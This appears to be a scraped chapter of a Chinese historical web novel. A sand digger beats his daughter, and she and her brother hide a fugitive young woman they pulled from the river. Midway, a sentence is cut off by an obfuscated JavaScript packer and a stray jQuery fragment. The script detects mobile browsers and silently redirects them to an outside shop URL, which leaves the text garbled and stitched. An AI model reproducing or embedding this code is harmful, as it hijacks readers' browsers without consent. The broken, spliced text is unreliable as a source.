党河的水本就不深，下游还有浅滩，缓下来的河床冲出一片澄泥板地，上头细腻的澄泥正是漠高山石窟里用来做地仗做泥塑的最佳材料。
此外还要掺些河里淘洗干净的粗砂砾，因此沙州催生出许多捞河砂捞河泥为生的人。
张大年就靠做这些营生过活，常年与河水泥沙打交道，甚至连家也安在城外河滩上。
“把砂床抬过来！”张大年卷着裤腿正把一船新捞的河砂往岸上拉，吃力地喊岸边的人，“尕女子！快些！”
岸上是个瘦小的女孩儿，看模样不过十三四岁，身形却已佝偻起来，像是常年劳作所致。
砂床很重，女孩肩膀吃力地拉，几乎抵到地上依旧拉不动，气得张大年扯着船帮子大骂：“你到底有什么用！跟你娘说了丫头片子没用没用她非要留着你，若没有你老子何苦干这些苦活！”
这似乎是常挂在嘴边的恶毒话，女孩毫无反应，只是不停地努力拉起，可还是一次次被砂床拽倒在地上。
张大年只当她偷懒气不打一处来，撂下船过来，双手使力一把就将砂床丢到他想要的位置上去了。砂床连着的绳子拽得女孩往后一趔趄狠狠拍在地上，张大年尤觉得不解气，抬脚在女孩大腿上狠狠一踹。
女孩终于禁不住哭了，张大年还要再骂，抬眼望见河面上多出来的几条船和十几个人，警惕得跑过去问：“什么人！”
回话的是康大胆，那嗓门比郑平安还大：“找人！你是这里的？有没有见过一个姑娘，死的活的都行！”
郑平安在他腚上一踢，示意他别在温蒖儿面前胡说。康大胆忙又喊了一句：“反正就是一个姑娘，提供线索的我们大小姐有赏！”
张大年半信半疑，目光转向船上的温蒖儿。温蒖儿只好点头，暂时接受了这个听起来像□□头目的新称呼。
“您要什么样的姑娘？”张大年一听有赏钱，立刻拎起趴伏在地的女儿，展示一般往前推，“我这女儿最能吃苦，您看……”
这是将他们当成了买卖奴仆的坏人，虽说这种事往常也没少干，但今天还真不是。
康大胆一听就着了忙，扯着嗓子骂：“放你娘的臭狗屁！老子是问你见没见过一个落水的姑娘，你那女儿是什么腌臜身份，也敢往前凑！”
一听不能拿女儿换钱，张大年瞬间泄了气。随手将女儿丢开，仿佛在丢一块毫无用处的旧抹布。
找人的船失望离开，张大年还在骂骂咧咧，女孩不敢再哭，拖着被踹的右腿艰难地背沙砾。直到日影西斜，见那些找人的船又浩浩荡荡驶向城里，张大年不由鄙夷地骂：“呸，什么东西！这河里老子一天捞三遍，有没有人老子能不知道？”
骂完又骂他女儿：“还不滚去做饭，你阿弟回来要吃饭的！”
张大年的媳妇死于难产，留下一儿一女跟着他艰难过活。儿子才刚十岁，上不起学堂，张大年求爷爷告奶奶找了门路让他在城里的经坊当学徒。经坊是替人抄经的所在，许多穷苦人不认得佛经却又想在佛前捐经文，就会去经坊里买。
在沙州，抄经的经生颇受推崇，尤其写一手好字的经生更是可遇不可求，收入以字数论，贵比千金。这还不算，这些人常常都是富贵人家专用的，平常人想求字难比登天。
张大年的儿子只是学徒，目前只能做些替经生们研墨、洗笔、裁纸、装订的粗活，闲下来才能跟着认字写字，但张大年莫名就觉得儿子前途无量，喜滋滋做着“一字千金”的美梦。
“阿姊，饭好了没啊饿死了！”
张大年一听儿子回来了，忙从砂子堆后探出头，笑着问：“呦，我家经生回来了！今日认了几个字？”
男孩烦躁将手里的褡裢一甩：“给你说了多少次别叫我经生，胡小他们都笑话我呢！”
张大年立刻给儿子撑腰：“胡小那是什么腌臜东西？她娘跟胡人汉子生的野种罢了，还敢笑话你！”
男孩才不管他，径直跑回河滩上家里，双手捏紧笑着问：“阿姊，你看这是什么？”
女孩在炊雾中抬眼：“很快就能吃了，你先出去，这里烟大，熏坏了眼睛可怎么写字呢？”
“哎呀不会的，”男孩一脸惊喜走过去，献宝般打开手掌，“这是我今日得的，你快吃了。”
女孩紧张般看看外头，忙推开问：“经坊里晌午就这一块胡饼，你怎么还带回来了？你挨饿了？”
“没有！”男孩忙将手里东西往她嘴里塞，“这是粟经生赏我的，说我今日研得墨又细又轻，写起字来都事半功倍了。”
女孩轻轻咬了一口，又推他嘴边：“真的？这还罢了，若是偷拿别人的，可万万不能！”
男孩索性掰碎了塞她嘴里：“放心放心，经坊里每日都有，我怎么会偷呢？”
女孩推不过，吃了一块，起身准备给他盛饭，谁知被踹那条腿肿胀愈严重，差点摔倒。男孩忙扶住了问她：“你怎么了阿姊！”
心里已经明白了八分，扯起她裤腿一看，自上至下一片紫涨。气得冲出门就骂：“张大年你又打我阿姊！明天起我再不去经坊了，看你还敢不敢打她！”
这对张大年来说无疑断了财路，忙好声好气地哄：“我没有，是她自己摔的……好儿子饿了吧，快去吃饭，别说这气话。”
直到张大年亲眼看见那片紫涨，才不情不愿说了句：“明，明日？三日不必她干活，总行了吧？”
总算在张小年的抗争中换来几日不必干活的空闲，张尕女感激地冲弟弟一笑，悄悄问他：“那边崖下的窑洞，你记得路吗？”
张小年点头：“记得啊，那里埋着阿娘的东西。”
张尕女忙示意他小声点，偷偷塞给他一块干馕：“嘘！你明日去经坊时过去一趟，千万别叫人发现。”
张小年虽觉得奇怪，但他自小由姐姐教养长大，明白姐姐是因为腿伤去不了才叫自己代劳。依言过去时发现里头躺着一个人，不由吓一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580386|205090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
跳：“你？你是人是鬼？”
里头的人一动不动，张小年壮了胆子，拿手边一根树枝戳了戳，那人微微一动。
“哦，还活着……”
提着的心落下，张小年走近一看，是个与自己姐姐差不多大的姑娘，身上盖着的也是姐姐的一件旧衣裳，衣裳下的脸苍白如雪，毫无生气，竟与死了也差不了多少。
“你……我阿姊受伤了，叫我来给你送吃的……你，我放在这了，你记得吃啊……”
到底还是孩子，说完便关了门一溜烟跑了。好在他心里惦记着，傍晚回家时先到窑洞看了一眼，发现早上放的吃食竟一动未动，躺着的人也是他早晨离开时的样子。
“你，你到底是死是活啊？”
他自己实在没有办法，回去告诉了姐姐。直到夜里张大年睡下，张小年才悄悄拿来两根粗木头让张尕女拄着，两人一瘸一拐往窑洞里过来。
“阿姊，那是谁啊？”
“不认得，我前日早起去舀水，在河滩上发现的。”
“怕不是已经死了吧，我放的水和胡饼一动也没动过。”
张尕女不再接话，只是加快脚步。
窑洞里漆黑一片，张尕女借着月光将人拖到洞口叫弟弟扶着，自己悉心喂了些带来的细粥，这已是她从自己的口粮里省下来最精细的粮食了。
张小年缄口没问，只是按姐姐说的轻轻拍着女子的背。
好一会，这女子才细细喘了一口气，艰难睁开眼睛。
“阿弥陀佛，佛祖保佑！”
张尕女禁不住念了句佛，引得女子回头看过来：“谢，谢……”
伸手将自己身上一件短袄披在她身上，张尕女忙说：“谢天谢地你醒了，我只怕救了你又饿着了你，那不反成了我的罪过。”
女子实在没什么力气，整个人都借力靠在张小年身上，但她明白自己还活着，不由伤神道：“你，何必，救我……我……”
张尕女握了握她冰冷的手：“能活着，何必寻死呢？我阿娘若还活着，哪怕她老了瘫了，只要活着，总是好的。”
张小年却在月光下看清了女子的容貌，回去的路上悄悄地问：“阿姊，我似乎在城门口见过这个女子的画像，似乎是什么逆党？”
张尕女听不懂这些，只是问：“城门口？难道是当官的要抓她？”
张小年摇摇头：“不清楚，我明日看清楚一些再告诉你。只是阿姊，若她是坏人，咱们藏着她怕是要受连累的。”
张尕女思索半晌，对弟弟道：“若有人问起你就说没见过，千万别说漏了嘴。当官的要抓她，今日又有几个骆驼帮的人来寻人，我估摸着也是来找她，只怕这件事没有那么简单。咱不能一时糊涂，救人不成反害了人。”
张小年记挂着这事，第二日特意在城门口逡巡半晌，看清了画像，也打听出一些事来，紧赶着跑回家，河滩上家门口已经聚了许多人，都穿着守门兵士的衣裳。